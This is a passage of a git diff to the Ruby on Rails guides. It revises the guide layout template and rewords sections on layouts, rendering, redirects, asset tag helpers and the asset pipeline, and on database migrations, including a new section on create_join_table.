<% finished_documents(section['documents']).each do |document| %> + <dd><a href="<%= document['url'] %>"><%= document['name'] %></a></dd> + <% end %> + <% end %> + </dl> + <% end %> </div> </li> <li><a href="contributing_to_ruby_on_rails.html">Contribute</a></li> @@ -143,8 +107,7 @@ <hr class="hide" /> <div id="footer"> <div class="wrapper"> - <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p> - <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p> + <%= render 'license' %> </div> </div> diff --git a/railties/guides/source/layouts_and_rendering.textile b/railties/guides/source/layouts_and_rendering.textile index 69ef05104c..5cff2d0893 100644 --- a/railties/guides/source/layouts_and_rendering.textile +++ b/railties/guides/source/layouts_and_rendering.textile @@ -334,7 +334,7 @@ render :status => 500 render :status => :forbidden </ruby> -Rails understands both numeric status codes and symbols for status codes. +Rails understands both numeric and symbolic status codes. h6. The +:location+ Option @@ -348,9 +348,9 @@ h5. Finding Layouts To find the current layout, Rails first looks for a file in +app/views/layouts+ with the same base name as the controller. For example, rendering actions from the +PhotosController+ class will use +app/views/layouts/photos.html.erb+ (or +app/views/layouts/photos.builder+). If there is no such controller-specific layout, Rails will use +app/views/layouts/application.html.erb+ or +app/views/layouts/application.builder+. If there is no +.erb+ layout, Rails will use a +.builder+ layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions. -h6. Specifying Layouts on a per-Controller Basis +h6. Specifying Layouts for Controllers -You can override the automatic layout conventions in your controllers by using the +layout+ declaration in the controller. For example: +You can override the default layout conventions in your controllers by using the +layout+ declaration. For example: <ruby> class ProductsController < ApplicationController @@ -359,9 +359,9 @@ class ProductsController < ApplicationController end </ruby> -With this declaration, all methods within +ProductsController+ will use +app/views/layouts/inventory.html.erb+ for their layout. +With this declaration, all of the methods within +ProductsController+ will use +app/views/layouts/inventory.html.erb+ for their layout. -To assign a specific layout for the entire application, use a declaration in your +ApplicationController+ class: +To assign a specific layout for the entire application, use a +layout+ declaration in your +ApplicationController+ class: <ruby> class ApplicationController < ActionController::Base @@ -370,7 +370,7 @@ class ApplicationController < ActionController::Base end </ruby> -With this declaration, all views in the entire application will use +app/views/layouts/main.html.erb+ for their layout. +With this declaration, all of the views in the entire application will use +app/views/layouts/main.html.erb+ for their layout. h6. Choosing Layouts at Runtime @@ -392,9 +392,9 @@ class ProductsController < ApplicationController end </ruby> -Now, if the current user is a special user, they'll get a special layout when viewing a product. You can even use an inline method to determine the layout: +Now, if the current user is a special user, they'll get a special layout when viewing a product. -You can also decide the layout by passing a Proc object, the block you give the Proc will be given the +controller+ instance, so you can make decisions based on the current request. For example: +You can even use an inline method, such as a Proc, to determine the layout. For example, if you pass a Proc object, the block you give the Proc will be given the +controller+ instance, so the layout can be determined based on the current request: <ruby> class ProductsController < ApplicationController @@ -404,7 +404,7 @@ end h6. Conditional Layouts -Layouts specified at the controller level support +:only+ and +:except+ options that take either a method name or an array of method names which correspond to method names within the controller: +Layouts specified at the controller level support the +:only+ and +:except+ options. These options take either a method name, or an array of method names, corresponding to method names within the controller: <ruby> class ProductsController < ApplicationController @@ -416,7 +416,7 @@ With this declaration, the +product+ layout would be used for everything but the h6. Layout Inheritance -Layouts are shared downwards in the hierarchy, and more specific layouts always override more general ones. For example: +Layout declarations cascade downward in the hierarchy, and more specific layout declarations always override more general ones. For example: * +application_controller.rb+ @@ -495,9 +495,9 @@ def show end </ruby> -Make sure you use +and return+ and not +&& return+ because while the former will work, the latter will not due to operator precedence in the Ruby Language. +Make sure to use +and return+ instead of +&& return+ because +&& return+ will not work due to the operator precedence in the Ruby Language. -Note that the implicit render done by ActionController detects if +render+ has been called, and thus avoids this error. Therefore, the following will work without errors: +Note that the implicit render done by ActionController detects if +render+ has been called, so the following will work without errors: <ruby> def show @@ -518,7 +518,7 @@ Another way to handle returning responses to an HTTP request is with +redirect_t redirect_to photos_url </ruby> -You can use +redirect_to+ with any arguments that you could use with +link_to+ or +url_for+. In addition, there's a special redirect that sends the user back to the page they just came from: +You can use +redirect_to+ with any arguments that you could use with +link_to+ or +url_for+. There's also a special redirect that sends the user back to the page they just came from: <ruby> redirect_to :back @@ -526,7 +526,7 @@ redirect_to :back h5. Getting a Different Redirect Status Code -Rails uses HTTP status code 302 (temporary redirect) when you call +redirect_to+. If you'd like to use a different status code (perhaps 301, permanent redirect), you can do so by using the +:status+ option: +Rails uses HTTP status code 302, a temporary redirect, when you call +redirect_to+. If you'd like to use a different status code, perhaps 301, a permanent redirect, you can use the +:status+ option: <ruby> redirect_to photos_path, :status => 301 @@ -536,7 +536,7 @@ Just like the +:status+ option for +render+, +:status+ for +redirect_to+ accepts h5. The Difference Between +render+ and +redirect_to+ -Sometimes inexperienced developers conceive of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code. +Sometimes inexperienced developers think of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code. Consider these actions to see the difference: @@ -553,7 +553,7 @@ def show end </ruby> -With the code in this form, there will likely be a problem if the +@book+ variable is +nil+. Remember, a +render :action+ doesn't run any code in the target action, so nothing will set up the +@books+ variable that the +index+ view is presumably depending on. One way to fix this is to redirect instead of rendering: +With the code in this form, there will likely be a problem if the +@book+ variable is +nil+. Remember, a +render :action+ doesn't run any code in the target action, so nothing will set up the +@books+ variable that the +index+ view will probably require. One way to fix this is to redirect instead of rendering: <ruby> def index @@ -570,9 +570,9 @@ end With this code, the browser will make a fresh request for the index page, the code in the +index+ method will run, and all will be well. -The only downside to this code, is that it requires a round trip to the browser, the browser requested the show action with +/books/1+ and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to +/books/+, the browser complies and sends a new request back to the controller asking now for the +index+ action, the controller then gets all the books in the database and renders the index template, sending it back down to the browser which then shows it on your screen. +The only downside to this code is that it requires a round trip to the browser: the browser requested the show action with +/books/1+ and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to +/books/+, the browser complies and sends a new request back to the controller asking now for the +index+ action, the controller then gets all the books in the database and renders the index template, sending it back down to the browser which then shows it on your screen. -While in a small app, this added latency might not be a problem, it is something to think about when speed of response is of the essence. One way to handle this double request (though a contrived example) could be: +While in a small application, this added latency might not be a problem, it is something to think about if response time is a concern. We can demonstrate one way to handle this with a contrived example: <ruby> def index @@ -588,7 +588,7 @@ def show end </ruby> -Which would detect that there are no books, populate the +@books+ instance variable with all the books in the database and then directly render the +index.html.erb+ template returning it to the browser with a flash alert message telling the user what happened. +This would detect that there are no books with the specified ID, populate the +@books+ instance variable with all the books in the model, and then directly render the +index.html.erb+ template, returning it to the browser with a flash alert message to tell the user what happened. h4. Using +head+ To Build Header-Only Responses @@ -598,7 +598,7 @@ The +head+ method can be used to send responses with only headers to the browser head :bad_request </ruby> -Which would produce the following header: +This would produce the following header: <shell> HTTP/1.1 400 Bad Request @@ -611,7 +611,7 @@ Set-Cookie: _blog_session=...snip...; path=/; HttpOnly Cache-Control: no-cache </shell> -Or you can use other HTTP headers to convey additional information: +Or you can use other HTTP headers to convey other information: <ruby> head :created, :location => photo_path(@photo) @@ -633,15 +633,15 @@ Cache-Control: no-cache h3. Structuring Layouts -When Rails renders a view as a response, it does so by combining the view with the current layout (using the rules for finding the current layout that were covered earlier in this guide). Within a layout, you have access to three tools for combining different bits of output to form the overall response: +When Rails renders a view as a response, it does so by combining the view with the current layout, using the rules for finding the current layout that were covered earlier in this guide. Within a layout, you have access to three tools for combining different bits of output to form the overall response: * Asset tags * +yield+ and +content_for+ * Partials -h4. Asset Tags +h4. Asset Tag Helpers -Asset tags provide methods for generating HTML that links views to feeds, JavaScript, stylesheets, images, videos and audios. These are the six asset tags available in Rails: +Asset tag helpers provide methods for generating HTML that link views to feeds, JavaScript, stylesheets, images, videos and audios. There are six asset tag helpers available in Rails: * +auto_discovery_link_tag+ * +javascript_include_tag+ @@ -650,11 +650,11 @@ Asset tags provide methods for generating HTML that links views to feeds, JavaSc * +video_tag+ * +audio_tag+ -You can use these tags in layouts or other views, although the tags other than +image_tag+ are most commonly used in the +<head>+ section of a layout. +You can use these tags in layouts or other views, although the +auto_discovery_link_tag+, +javascript_include_tag+, and +stylesheet_link_tag+, are most commonly used in the +<head>+ section of a layout. -WARNING: The asset tags do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link. +WARNING: The asset tag helpers do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link. -h5. Linking to Feeds with +auto_discovery_link_tag+ +h5. Linking to Feeds with the +auto_discovery_link_tag+ The +auto_discovery_link_tag+ helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (+:rss+ or +:atom+), a hash of options that are passed through to url_for, and a hash of options for the tag: @@ -663,27 +663,41 @@ The +auto_discovery_link_tag+ helper builds HTML that most browsers and newsread {:title => "RSS Feed"}) %> </erb> -There are three tag options available for +auto_discovery_link_tag+: +There are three tag options available for the +auto_discovery_link_tag+: -* +:rel+ specifies the +rel+ value in the link (defaults to "alternate") +* +:rel+ specifies the +rel+ value in the link. The default value is "alternate". * +:type+ specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically. -* +:title+ specifies the title of the link +* +:title+ specifies the title of the link. The default value is the upshifted +:type+ value, for example, "ATOM" or "RSS". -h5. Linking to JavaScript Files with +javascript_include_tag+ +h5. Linking to JavaScript Files with the +javascript_include_tag+ -The +javascript_include_tag+ helper returns an HTML +script+ tag for each source provided. Rails looks in +public/javascripts+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/javascripts/main.js+: +The +javascript_include_tag+ helper returns an HTML +script+ tag for each source provided. + +If you are using Rails with the "Asset Pipeline":asset_pipeline.html enabled, this helper will generate a link to +/assets/javascripts/+ rather than +public/javascripts+ which was used in earlier versions of Rails. This link is then served by the Sprockets gem, which was introduced in Rails 3.1. + +A JavaScript file within a Rails application or Rails engine goes in one of three locations: +app/assets+, +lib/assets+ or +vendor/assets+. These locations are explained in detail in the "Asset Organization section in the Asset Pipeline Guide":asset_pipeline.html#asset-organization + +You can specify a full path relative to the document root, or a URL, if you prefer. For example, to link to a JavaScript file that is inside a directory called +javascripts+ inside of one of +app/assets+, +lib/assets+ or +vendor/assets+, you would do this: <erb> <%= javascript_include_tag "main" %> </erb> -To include +public/javascripts/main.js+ and +public/javascripts/columns.js+: +Rails will then output a +script+ tag such as this: + +<html> +<script src='/assets/main.js' type="text/javascript"></script> +</html> + +The request to this asset is then served by the Sprockets gem. + +To include multiple files such as +app/assets/javascripts/main.js+ and +app/assets/javascripts/columns.js+ at the same time: <erb> <%= javascript_include_tag "main", "columns" %> </erb> -To include +public/javascripts/main.js+ and +public/photos/columns.js+: +To include +app/assets/javascripts/main.js+ and +app/assets/javascripts/photos/columns.js+: <erb> <%= javascript_include_tag "main", "/photos/columns" %> @@ -701,15 +715,38 @@ If the application does not use the asset pipeline, the +:defaults+ option loads <%= javascript_include_tag :defaults %> </erb> -And you can in any case override the expansion in <tt>config/application.rb</tt>: +Outputting +script+ tags such as this: + +<html> +<script src="/javascripts/jquery.js" type="text/javascript"></script> +<script src="/javascripts/jquery_ujs.js" type="text/javascript"></script> +</html> + +These two files for jQuery, +jquery.js+ and +jquery_ujs.js+ must be placed inside +public/javascripts+ if the application doesn't use the asset pipeline. These files can be downloaded from the "jquery-rails repository on GitHub":https://github.com/indirect/jquery-rails/tree/master/vendor/assets/javascripts + +WARNING: If you are using the asset pipeline, this tag will render a +script+ tag for an asset called +defaults.js+, which would not exist in your application unless you've explicitly defined it to be. + +And you can in any case override the +:defaults+ expansion in <tt>config/application.rb</tt>: <ruby> config.action_view.javascript_expansions[:defaults] = %w(foo.js bar.js) </ruby> -When using <tt>:defaults</tt>, if an <tt>application.js</tt> file exists in <tt>public/javascripts</tt> it will be included as well at then end. +You can also define new defaults: + +<ruby> +config.action_view.javascript_expansions[:projects] = %w(projects.js tickets.js) +</ruby> + +And use them by referencing them exactly like +:defaults+: -Also, the +:all+ option loads every JavaScript file in +public/javascripts+: +<erb> +<%= javascript_include_tag :projects %> +</erb> + +When using <tt>:defaults</tt>, if an <tt>application.js</tt> file exists in <tt>public/javascripts</tt> it will be included as well at the end. + +Also, if the asset pipeline is disabled, the +:all+ expansion loads every JavaScript file in +public/javascripts+: <erb> <%= javascript_include_tag :all %> @@ -738,21 +775,25 @@ By default, the combined file will be delivered as +javascripts/all.js+. You can You can even use dynamic paths such as +cache/#{current_site}/main/display+. -h5. Linking to CSS Files with +stylesheet_link_tag+ +h5. Linking to CSS Files with the +stylesheet_link_tag+ + +The +stylesheet_link_tag+ helper returns an HTML +<link>+ tag for each source provided. + +If you are using Rails with the "Asset Pipeline" enabled, this helper will generate a link to +/assets/stylesheets/+. This link is then processed by the Sprockets gem. A stylesheet file can be stored in one of three locations: +app/assets+, +lib/assets+ or +vendor/assets+. -The +stylesheet_link_tag+ helper returns an HTML +<link>+ tag for each source provided. Rails looks in +public/stylesheets+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/stylesheets/main.css+: +You can specify a full path relative to the document root, or a URL. For example, to link to a stylesheet file that is inside a directory called +stylesheets+ inside of one of +app/assets+, +lib/assets+ or +vendor/assets+, you would do this: <erb> <%= stylesheet_link_tag "main" %> </erb> -To include +public/stylesheets/main.css+ and +public/stylesheets/columns.css+: +To include +app/assets/stylesheets/main.css+ and +app/assets/stylesheets/columns.css+: <erb> <%= stylesheet_link_tag "main", "columns" %> </erb> -To include +public/stylesheets/main.css+ and +public/photos/columns.css+: +To include +app/assets/stylesheets/main.css+ and +app/assets/stylesheets/photos/columns.css+: <erb> <%= stylesheet_link_tag "main", "/photos/columns" %> @@ -764,13 +805,13 @@ To include +http://example.com/main.css+: <%= stylesheet_link_tag "http://example.com/main.css" %> </erb> -By default, +stylesheet_link_tag+ creates links with +media="screen" rel="stylesheet" type="text/css"+. You can override any of these defaults by specifying an appropriate option (+:media+, +:rel+, or +:type+): +By default, the +stylesheet_link_tag+ creates links with +media="screen" rel="stylesheet" type="text/css"+. You can override any of these defaults by specifying an appropriate option (+:media+, +:rel+, or +:type+): <erb> <%= stylesheet_link_tag "main_print", :media => "print" %> </erb> -The +all+ option links every CSS file in +public/stylesheets+: +If the asset pipeline is disabled, the +all+ option links every CSS file in +public/stylesheets+: <erb> <%= stylesheet_link_tag :all %> @@ -797,7 +838,7 @@ By default, the combined file will be delivered as +stylesheets/all.css+. You ca You can even use dynamic paths such as +cache/#{current_site}/main/display+. -h5. Linking to Images with +image_tag+ +h5. Linking to Images with the +image_tag+ The +image_tag+ helper builds an HTML +<img />+ tag to the specified file. By default, files are loaded from +public/images+. @@ -846,7 +887,7 @@ In addition to the above special tags, you can supply a final hash of standard H :class => 'nav_bar' %> </erb> -h5. Linking to Videos with +video_tag+ +h5. Linking to Videos with the +video_tag+ The +video_tag+ helper builds an HTML 5 +<video>+ tag to the specified file. By default, files are loaded from +public/videos+. @@ -882,7 +923,7 @@ This will produce: <video><source src="trailer.ogg" /><source src="movie.ogg" /></video> </erb> -h5. Linking to Audio files with +audio_tag+ +h5. Linking to Audio Files with the +audio_tag+ The +audio_tag+ helper builds an HTML 5 +<audio>+ tag to the specified file. By default, files are loaded from +public/audios+. @@ -933,7 +974,7 @@ You can also create a layout with multiple yielding regions: The main body of the view will always render into the unnamed +yield+. To render content into a named +yield+, you use the +content_for+ method. -h4. Using +content_for+ +h4. Using the +content_for+ Method The +content_for+ method allows you to insert content into a named +yield+ block in your layout. For example, this view would work with the layout that you just saw: diff --git a/railties/guides/source/migrations.textile b/railties/guides/source/migrations.textile index 7faa18e888..c11f8e221b 100644 --- a/railties/guides/source/migrations.textile +++ b/railties/guides/source/migrations.textile @@ -1,12 +1,24 @@ h2. Migrations -Migrations are a convenient way for you to alter your database in a structured and organized manner. You could edit fragments of SQL by hand but you would then be responsible for telling other developers that they need to go and run them. You'd also have to keep track of which changes need to be run against the production machines next time you deploy. - -Active Record tracks which migrations have already been run so all you have to do is update your source and run +rake db:migrate+. Active Record will work out which migrations should be run. It will also update your +db/schema.rb+ file to match the structure of your database. - -Migrations also allow you to describe these transformations using Ruby. The great thing about this is that (like most of Active Record's functionality) it is database independent: you don't need to worry about the precise syntax of +CREATE TABLE+ any more than you worry about variations on +SELECT *+ (you can drop down to raw SQL for database specific features). For example you could use SQLite3 in development, but MySQL in production. - -You'll learn all about migrations including: +Migrations are a convenient way for you to alter your database in a structured +and organized manner. You could edit fragments of SQL by hand but you would then +be responsible for telling other developers that they need to go and run them. +You'd also have to keep track of which changes need to be run against the +production machines next time you deploy. + +Active Record tracks which migrations have already been run so all you have to +do is update your source and run +rake db:migrate+. Active Record will work out +which migrations should be run. It will also update your +db/schema.rb+ file to +match the structure of your database. + +Migrations also allow you to describe these transformations using Ruby. The +great thing about this is that (like most of Active Record's functionality) it +is database independent: you don't need to worry about the precise syntax of ++CREATE TABLE+ any more than you worry about variations on +SELECT *+ (you can +drop down to raw SQL for database specific features). For example you could use +SQLite3 in development, but MySQL in production. + +In this guide, you'll learn all about migrations including: * The generators you can use to create them * The methods Active Record provides to manipulate your database @@ -17,7 +29,8 @@ endprologue. h3. Anatomy of a Migration -Before we dive into the details of a migration, here are a few examples of the sorts of things you can do: +Before we dive into the details of a migration, here are a few examples of the +sorts of things you can do: <ruby> class CreateProducts < ActiveRecord::Migration @@ -36,9 +49,15 @@ class CreateProducts < ActiveRecord::Migration end </ruby> -This migration adds a table called +products+ with a string column called +name+ and a text column called +description+. A primary key column called +id+ will also be added, however since this is the default we do not need to ask for this. The timestamp columns +created_at+ and +updated_at+ which Active Record populates automatically will also be added. Reversing this migration is as simple as dropping the table. +This migration adds a table called +products+ with a string column called +name+ +and a text column called +description+. A primary key column called +id+ will +also be added, however since this is the default we do not need to ask for this. +The timestamp columns +created_at+ and +updated_at+ which Active Record +populates automatically will also be added. Reversing this migration is as +simple as dropping the table. -Migrations are not limited to changing the schema. You can also use them to fix bad data in the database or populate new fields: +Migrations are not limited to changing the schema. You can also use them to fix +bad data in the database or populate new fields: <ruby> class AddReceiveNewsletterToUsers < ActiveRecord::Migration @@ -55,12 +74,18 @@ class AddReceiveNewsletterToUsers < ActiveRecord::Migration end </ruby> -NOTE: Some "caveats":#using-models-in-your-migrations apply to using models in your migrations. +NOTE: Some "caveats":#using-models-in-your-migrations apply to using models in +your migrations. -This migration adds a +receive_newsletter+ column to the +users+ table. We want it to default to +false+ for new users, but existing users are considered -to have already opted in, so we use the User model to set the flag to +true+ for existing users. +This migration adds a +receive_newsletter+ column to the +users+ table. We want +it to default to +false+ for new users, but existing users are considered to +have already opted in, so we use the User model to set the flag to +true+ for +existing users. -Rails 3.1 makes migrations smarter by providing a new <tt>change</tt> method. This method is preferred for writing constructive migrations (adding columns or tables). The migration knows how to migrate your database and reverse it when the migration is rolled back without the need to write a separate +down+ method. +Rails 3.1 makes migrations smarter by providing a new <tt>change</tt> method. +This method is preferred for writing constructive migrations (adding columns or +tables). The migration knows how to migrate your database and reverse it when +the migration is rolled back without the need to write a separate +down+ method. <ruby> class CreateProducts < ActiveRecord::Migration @@ -77,64 +102,112 @@ end h4. Migrations are Classes -A migration is a subclass of <tt>ActiveRecord::Migration</tt> that implements two methods: +up+ (perform the required transformations) and +down+ (revert them). +A migration is a subclass of <tt>ActiveRecord::Migration</tt> that implements +two methods: +up+ (perform the required transformations) and +down+ (revert +them). -Active Record provides methods that perform common data definition tasks in a database independent way (you'll read about them in detail later): +Active Record provides methods that perform common data definition tasks in a +database independent way (you'll read about them in detail later): -* +create_table+ -* +change_table+ -* +drop_table+ * +add_column+ +* +add_index+ * +change_column+ -* +rename_column+ +* +change_table+ +* +create_table+ +* +create_join_table+ +* +drop_table+ * +remove_column+ -* +add_index+ * +remove_index+ +* +rename_column+ -If you need to perform tasks specific to your database (for example create a "foreign key":#active-record-and-referential-integrity constraint) then the +execute+ function allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could write code to set the value of that column for existing records (if necessary using your models). +If you need to perform tasks specific to your database (for example create a +"foreign key":#active-record-and-referential-integrity constraint) then the ++execute+ method allows you to execute arbitrary SQL. A migration is just a +regular Ruby class so you're not limited to these functions. For example after +adding a column you could write code to set the value of that column for +existing records (if necessary using your models). -On databases that support transactions with statements that change the schema (such as PostgreSQL or SQLite3), migrations are wrapped in a transaction. If the database does not support this (for example MySQL) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand. +On databases that support transactions with statements that change the schema +(such as PostgreSQL or SQLite3), migrations are wrapped in a transaction. If the +database does not support this (for example MySQL) then when a migration fails +the parts of it that succeeded will not be rolled back. You will have to rollback +the changes that were made by hand. h4. What's in a Name -Migrations are stored in files in +db/migrate+, one for each migration class. The name of the file is of the form +YYYYMMDDHHMMSS_create_products.rb+, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The name of the migration class (CamelCased version) should match the latter part of the file name. For example +20080906120000_create_products.rb+ should define +CreateProducts+ and +20080906120001_add_details_to_products.rb+ should define +AddDetailsToProducts+. If you do feel the need to change the file name then you <em>have to</em> update the name of the class inside or Rails will complain about a missing class. - -Internally Rails only uses the migration's number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1 this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by adding the following line to +config/application.rb+. +Migrations are stored as files in the +db/migrate+ directory, one for each +migration class. The name of the file is of the form ++YYYYMMDDHHMMSS_create_products.rb+, that is to say a UTC timestamp +identifying the migration followed by an underscore followed by the name +of the migration. The name of the migration class (CamelCased version) +should match the latter part of the file name. For example ++20080906120000_create_products.rb+ should define class +CreateProducts+ and ++20080906120001_add_details_to_products.rb+ should define ++AddDetailsToProducts+. If you do feel the need to change the file name then you +<em>have to</em> update the name of the class inside or Rails will complain +about a missing class. + +Internally Rails only uses the migration's number (the timestamp) to identify +them. Prior to Rails 2.1 the migration number started at 1 and was incremented +each time a migration was generated. With multiple developers it was easy for +these to clash requiring you to rollback migrations and renumber them. With +Rails 2.1+ this is largely avoided by using the creation time of the migration +to identify them. You can revert to the old numbering scheme by adding the +following line to +config/application.rb+. <ruby> config.active_record.timestamped_migrations = false </ruby> -The combination of timestamps and recording which migrations have been run allows Rails to handle common situations that occur with multiple developers. +The combination of timestamps and recording which migrations have been run +allows Rails to handle common situations that occur with multiple developers. -For example Alice adds migrations +20080906120000+ and +20080906123000+ and Bob adds +20080906124500+ and runs it. Alice finishes her changes and checks in her migrations and Bob pulls down the latest changes. Rails knows that it has not run Alice's two migrations so +rake db:migrate+ would run them (even though Bob's migration with a later timestamp has been run), and similarly migrating down would not run their +down+ methods. +For example Alice adds migrations +20080906120000+ and +20080906123000+ and Bob +adds +20080906124500+ and runs it. Alice finishes her changes and checks in her +migrations and Bob pulls down the latest changes. When Bob runs +rake db:migrate+, +Rails knows that it has not run Alice's two migrations so it executes the +up+ method for each migration. -Of course this is no substitution for communication within the team. For example, if Alice's migration removed a table that Bob's migration assumed to exist, then trouble would certainly strike. +Of course this is no substitution for communication within the team. For +example, if Alice's migration removed a table that Bob's migration assumed to +exist, then trouble would certainly strike. h4. Changing Migrations -Occasionally you will make a mistake when writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run +rake db:migrate+. You must rollback the migration (for example with +rake db:rollback+), edit your migration and then run +rake db:migrate+ to run the corrected version. +Occasionally you will make a mistake when writing a migration. If you have +already run the migration then you cannot just edit the migration and run the +migration again: Rails thinks it has already run the migration and so will do +nothing when you run +rake db:migrate+. You must rollback the migration (for +example with +rake db:rollback+), edit your migration and then run +rake db:migrate+ to run the corrected version. -In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or more generally which has not been propagated beyond your development machine) is relatively harmless. +In general editing existing migrations is not a good idea: you will be creating +extra work for yourself and your co-workers and cause major headaches if the +existing version of the migration has already been run on production machines. +Instead, you should write a new migration that performs the changes you require. +Editing a freshly generated migration that has not yet been committed to source +control (or, more generally, which has not been propagated beyond your +development machine) is relatively harmless. h4. Supported Types -Active Record supports the following types: +Active Record supports the following database column types: +* +:binary+ +* +:boolean+ +* +:date+ +* +:datetime+ +* +:decimal+ +* +:float+ +* +:integer+ * +:primary_key+ * +:string+ * +:text+ -* +:integer+ -* +:float+ -* +:decimal+ -* +:datetime+ -* +:timestamp+ * +:time+ -* +:date+ -* +:binary+ -* +:boolean+ +* +:timestamp+ -These will be mapped onto an appropriate underlying database type, for example with MySQL +:string+ is mapped to +VARCHAR(255)+. You can create columns of types not supported by Active Record when using the non-sexy syntax, for example +These will be mapped onto an appropriate underlying database type. For example, +with MySQL the type +:string+ is mapped to +VARCHAR(255)+. You can create +columns of types not supported by Active Record when using the non-sexy syntax, +for example <ruby> create_table :products do |t| @@ -148,7 +221,10 @@ h3. Creating a Migration h4. Creating a Model -The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want then statements for adding those will also be created. For example, running +The model and scaffold generators will create migrations appropriate for adding +a new model. This migration will already contain instructions for creating the +relevant table. If you tell Rails what columns you want, then statements for +adding these columns will also be created. For example, running <shell> $ rails generate model Product name:string description:text @@ -169,12 +245,15 @@ class CreateProducts < ActiveRecord::Migration end </ruby> -You can append as many column name/type pairs as you want. By default +t.timestamps+ (which creates the +updated_at+ and +created_at+ columns that -are automatically populated by Active Record) will be added for you. +You can append as many column name/type pairs as you want. By default, the +generated migration will include +t.timestamps+ (which creates the ++updated_at+ and +created_at+ columns that are automatically populated +by Active Record). h4. Creating a Standalone Migration -If you are creating migrations for other purposes (for example to add a column to an existing table) then you can use the migration generator: +If you are creating migrations for other purposes (for example to add a column +to an existing table) then you can also use the migration generator: <shell> $ rails generate migration AddPartNumberToProducts @@ -189,7 +268,9 @@ class AddPartNumberToProducts < ActiveRecord::Migration end </ruby> -If the migration name is of the form "AddXXXToYYY" or "RemoveXXXFromYYY" and is followed by a list of column names and types then a migration containing the appropriate +add_column+ and +remove_column+ statements will be created. +If the migration name is of the form "AddXXXToYYY" or "RemoveXXXFromYYY" and is +followed by a list of column names and types then a migration containing the +appropriate +add_column+ and +remove_column+ statements will be created. <shell> $ rails generate migration AddPartNumberToProducts part_number:string @@ -242,17 +323,23 @@ class AddDetailsToProducts < ActiveRecord::Migration end </ruby> -As always, what has been generated for you is just a starting point. You can add or remove from it as you see fit. +As always, what has been generated for you is just a starting point. You can add +or remove from it as you see fit by editing the +db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb file. -NOTE: The generated migration file for destructive migrations will still be old-style using the +up+ and +down+ methods. This is because Rails doesn't know the original data types defined when you made the original changes. +NOTE: The generated migration file for destructive migrations will still be +old-style using the +up+ and +down+ methods. This is because Rails needs to know +the original data types defined when you made the original changes. h3. Writing a Migration -Once you have created your migration using one of the generators it's time to get to work! +Once you have created your migration using one of the generators it's time to +get to work! h4. Creating a Table -Migration method +create_table+ will be one of your workhorses. A typical use would be +Migration method +create_table+ will be one of your workhorses. A typical use +would be <ruby> create_table :products do |t| @@ -260,9 +347,11 @@ create_table :products do |t| end </ruby> -which creates a +products+ table with a column called +name+ (and as discussed below, an implicit +id+ column). +which creates a +products+ table with a column called +name+ (and as discussed +below, an implicit +id+ column). -The object yielded to the block allows you to create columns on the table. There are two ways of doing this: The first (traditional) form looks like +The object yielded to the block allows you to create columns on the table. There +are two ways of doing it. The first (traditional) form looks like <ruby> create_table :products do |t| @@ -270,7 +359,9 @@ create_table :products do |t| end </ruby> -the second form, the so called "sexy" migration, drops the somewhat redundant +column+ method. Instead, the +string+, +integer+, etc. methods create a column of that type. Subsequent parameters are the same. +The second form, the so called "sexy" migration, drops the somewhat redundant ++column+ method. Instead, the +string+, +integer+, etc. methods create a column +of that type. Subsequent parameters are the same. <ruby> create_table :products do |t| @@ -278,7 +369,12 @@ create_table :products do |t| end </ruby> -By default +create_table+ will create a primary key called +id+. You can change the name of the primary key with the +:primary_key+ option (don't forget to update the corresponding model) or if you don't want a primary key at all (for example for a HABTM join table) you can pass +:id => false+. If you need to pass database specific options you can place an SQL fragment in the +:options+ option. For example +By default, +create_table+ will create a primary key called +id+. You can change +the name of the primary key with the +:primary_key+ option (don't forget to +update the corresponding model) or, if you don't want a primary key at all (for +example for a HABTM join table), you can pass the option +:id => false+. If you +need to pass database specific options you can place an SQL fragment in the ++:options+ option. For example, <ruby> create_table :products, :options => "ENGINE=BLACKHOLE" do |t| @@ -286,11 +382,43 @@ create_table :products, :options => "ENGINE=BLACKHOLE" do |t| end </ruby> -will append +ENGINE=BLACKHOLE+ to the SQL statement used to create the table (when using MySQL the default is +ENGINE=InnoDB+). +will append +ENGINE=BLACKHOLE+ to the SQL statement used to create the table +(when using MySQL, the default is +ENGINE=InnoDB+). + +h4. Creating a Join Table + +Migration method +create_join_table+ creates a HABTM join table. A typical use +would be + +<ruby> +create_join_table :products, :categories +</ruby> + +which creates a +categories_products+ table with two columns called +category_id+ and +product_id+. +These columns have the option +:null+ set to +false+ by default. + +You can pass the option +:table_name+ with you want to customize the table name. For example, + 